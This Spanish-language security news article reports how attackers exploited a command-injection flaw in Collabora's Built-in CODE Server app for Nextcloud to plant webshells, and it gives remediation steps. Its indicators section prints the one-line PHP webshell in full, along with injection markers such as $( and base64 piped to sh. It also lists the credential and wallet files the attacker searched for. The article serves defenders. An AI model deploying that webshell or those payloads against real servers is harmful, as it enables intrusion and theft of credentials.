Hackers comprometen servidores Nextcloud a través de una falla crítica en la aplicación CODE integrada de Collabora

Introducción

Atacantes explotaron una vulnerabilidad en una aplicación opcional de Nextcloud, Collabora Online – Built-in CODE Server, para instalar webshells en servidores Nextcloud. Tres administradores reportaron el problema en GitHub, con el primer ataque registrado el 10 de septiembre.

Una webshell es un archivo pequeño que ejecuta cualquier comando que un atacante envíe a través de una solicitud web, con los derechos de la cuenta del servidor web. La falla permite que una solicitud no autenticada ejecute un comando en el servidor, pero solo cuando el servidor de documentos local de la aplicación no está en ejecución, como durante un reinicio o actualización, o después de un fallo.

Collabora la corrigió en la versión 26.4.303 el 11 de septiembre y el 14 de octubre publicó un aviso con el identificador CVE-2026-110447, advirtiendo que desactivar la aplicación no ayuda: debe actualizarse o eliminarse.

Quién está afectado

La aplicación, publicada por Collabora bajo el nombre de paquete richdocumentscode, descarga una copia de Collabora Online Development Edition (CODE) y la ejecuta en el propio servidor Nextcloud.

Eso permite que Nextcloud Office edite documentos sin un servidor Collabora separado. Su listado en la tienda dice que es 'para pruebas locales y uso no productivo' y 'para uso personal o para equipos pequeños'.

El aviso de Collabora cubre todas las versiones anteriores a la 26.4.303 y dice que los servidores Collabora Online independientes no se ven afectados. Una advertencia publicada en el foro de la comunidad Nextcloud el 3 de octubre indicó que una instalación no se ve afectada si utiliza solo la aplicación Nextcloud Office (richdocuments) sin la aplicación integrada, ya sea que su servidor Collabora se ejecute en Docker, desde un paquete de Linux o en un proveedor de alojamiento.

El script proxy.php de la aplicación inicia el servidor CODE local cada vez que llega una solicitud y no hay nada escuchando. En versiones hasta la 26.4.302, el script colocaba texto de la solicitud, incluida su ruta, dentro de un comando bash entre comillas dobles, donde el shell aún ejecuta cualquier cosa escrita como $(…).

Una solicitud con un comando oculto en su ruta ejecutaba ese comando como el usuario del servidor web. Debido a que el script solo construye ese comando cuando necesita iniciar el servidor, el ataque funciona solo mientras el servidor está caído, como durante un reinicio de contenedor, una actualización o un fallo.

El script es un archivo PHP simple que el servidor web ejecuta directamente desde la carpeta de la aplicación y no carga ningún código de Nextcloud.

'No es suficiente deshabilitar la aplicación para evitar el problema; debe actualizarse a >= 26.4.303 o eliminarse', dijo Collabora en el aviso.

Las versiones corregidas requieren Nextcloud 30 o posterior.

Nextcloud 29 y anteriores están al final de su vida útil, y la tienda de aplicaciones todavía les sirve una versión afectada, por lo que sus usuarios deben actualizar Nextcloud o eliminar la aplicación. La corrección de Collabora para una falla de inyección de comandos separada en el mismo script, CVE-2025-66208, divulgada en diciembre pasado, no evita esta.

Qué hicieron los atacantes

El primer informe provino de un administrador que aloja varios servidores Nextcloud y escribió en GitHub que los servidores habían sido hackeados desde el día anterior. Los registros de acceso de dos de ellos muestran solicitudes a las 19:51 del 10 de septiembre y a las 09:56 del 11 de septiembre (UTC+2), ambas desde una misma dirección IP y ambas dirigidas a proxy.php?status con un comando de shell oculto en la ruta de la solicitud. Todos los servidores del administrador ejecutaban la versión 26.4.302.

El comando decodificó una webshell PHP de una línea en la carpeta de la aplicación e intentó enviar la salida de uname -a del servidor a una dirección de webhook.site. En un servidor, el atacante luego usó la shell para buscar almacenes de credenciales y monederos de criptomonedas, incluidos archivos *.kdbx, wallet.dat y keystore.json y nombres como bitwarden, 1password, .bitcoin, .electrum, .monero y .ethereum.

Las solicitudes revisadas no mostraron comandos que archivaran, subieran o copiaran archivos, pero todo lo que la cuenta del servidor web pueda leer debe tratarse como potencialmente expuesto, escribió el administrador.

Otros dos administradores reportaron lo mismo en sus propias instancias. Uno encontró la shell cuando la verificación de integridad de Nextcloud marcó un nuevo archivo PHP, y el otro se enteró de la intrusión por correos sobre intentos fallidos de sudo en el servidor. Ninguno de los informes muestra que el atacante obtuviera acceso root.

Después de actualizar a 26.4.303, uno de ellos registró otro intento el 14 de septiembre desde una segunda dirección IP con una carga útil del mismo tipo. El servidor CODE que inició llevaba el texto del ataque en sus opciones de arranque, pero no apareció ningún archivo de shell nuevo. La salida 'parece aterradora pero debería ser inofensiva', respondió mmeeks, quien respondió por el proyecto en el hilo, diciendo a los usuarios que actualicen y eliminen cualquier archivo shx*.php sobrante.

El registro CVE describe la falla como 'explotada en estado salvaje en septiembre y octubre de 2026'. No se sabe cuántos servidores fueron afectados. 'Esto solo afecta a la Development Edition, y solo en este modo de implementación (bastante raro) de Built-in CODE Server que descarga un appimage local', escribió mmeeks.

Qué hacer ahora

  • Actualice richdocumentscode, que aparece en la lista de aplicaciones de Nextcloud como Collabora Online – Built-in CODE Server, a 26.4.303 o posterior, o elimine la aplicación. Deshabilitarla en Nextcloud no cierra la falla.
  • En Nextcloud 29 o anterior, que no puede instalar 26.4.303, actualice Nextcloud o elimine la aplicación.
  • Si ya actualizó, busque archivos shx*.php, comenzando en apps/richdocumentscode, y elimínelos. Luego revise sus registros de acceso hasta al menos el 10 de septiembre en busca de solicitudes proxy.php?status cuya ruta contenga %2e%2e, $( o ${IFS}, y busque intentos de sudo por parte de la cuenta del servidor web. Trate todo lo que esa cuenta pueda leer como potencialmente expuesto, como aconsejó el primer informante.
  • La versión 26.4.402, publicada el 24 de septiembre, reescribió el comando de inicio para pasar cada opción como un argumento separado, pero los administradores informan que falla al iniciar o al abrir documentos en algunas configuraciones y han vuelto a la 26.4.303, la versión que el aviso nombra como la corrección. No había aparecido ninguna versión más nueva al 14 de octubre.

Indicadores de los registros de los administradores:

  • Archivo: shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php y shxf4645.php, encontrados en apps/richdocumentscode/ en los servidores del primer informante
  • Archivo: shx13a86.php, encontrado por un segundo administrador (ubicación no especificada)
  • Archivo: shx56367.php, el nombre en el intento del 14 de septiembre que no creó ningún archivo
  • SHA-256: 4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562, la shell de una línea <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');
  • Ruta: /apps/richdocumentscode/proxy.php?status
  • IP: 139.28[.]18[.]122 (ataques del 10 y 11 de septiembre), 89.38[.]98[.]50 (intento del 14 de septiembre contra un servidor parcheado)
  • Marcadores de solicitud: %2e%2e, $(, ${IFS}, y base64 -d canalizado a sh, todos en la ruta de la solicitud
  • Dominio: webhook[.]site, un servicio público, con ID de devolución de llamada 45060ed4-de0b-4119-8f0d-2a2776bbd413 y 774cf5e1-b5a4-4174-a1ad-0241861029a2

Una corrección que se envió sin aviso de seguridad

El cambio de código que cerró la falla son cuatro líneas en proxy.php. El comando de inicio ahora se entrega a bash como un único argumento escapado en lugar de una cadena entre comillas dobles, por lo que el shell que lo recibe ya no expande texto de la solicitud.

El registro de confirmaciones del repositorio muestra que el cambio fue escrito el 20 de agosto por Caolán McNamara, quien también publicó el aviso, bajo el título 'tidy up how the coolwsd launch command is built'. No estaba en la versión 26.4.302, publicada el 31 de agosto, y se confirmó el 9 de septiembre. El primer ataque registrado llegó el 10 de septiembre, y la 26.4.303 siguió el 11 de septiembre con notas de la versión que solo nombran la compilación CODE incluida.

El administrador que reportó los ataques deshabilitó la aplicación mientras esperaba una corrección, el paso que ahora el aviso dice que no es suficiente. En el hilo, mmeeks dijo a los usuarios que actualicen, prometió 'más actualizaciones a su debido tiempo' y señaló un 'retraso récord' en la base de datos de avisos de GitHub, enlazando a una publicación de junio en la que GitHub decía que su procesamiento se había retrasado semanas.

El 3 de octubre, un miembro del foro de la comunidad Nextcloud advirtió a otros usuarios que actualizaran de inmediato porque la falla 'ya estaba siendo explotada' y 'no se ha publicado ninguna advertencia ni CVE'. El CVE y el aviso llegaron el 14 de octubre. El aviso acredita a un usuario de GitHub, wwwshellcodeit, como el informante, y ni él ni el hilo dicen cuándo llegó el informe o cuándo se enteró Collabora de que el cambio era una corrección de seguridad.

Cybersecurity
Cybersecurity
Cybersecurity
Cybersecurity

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *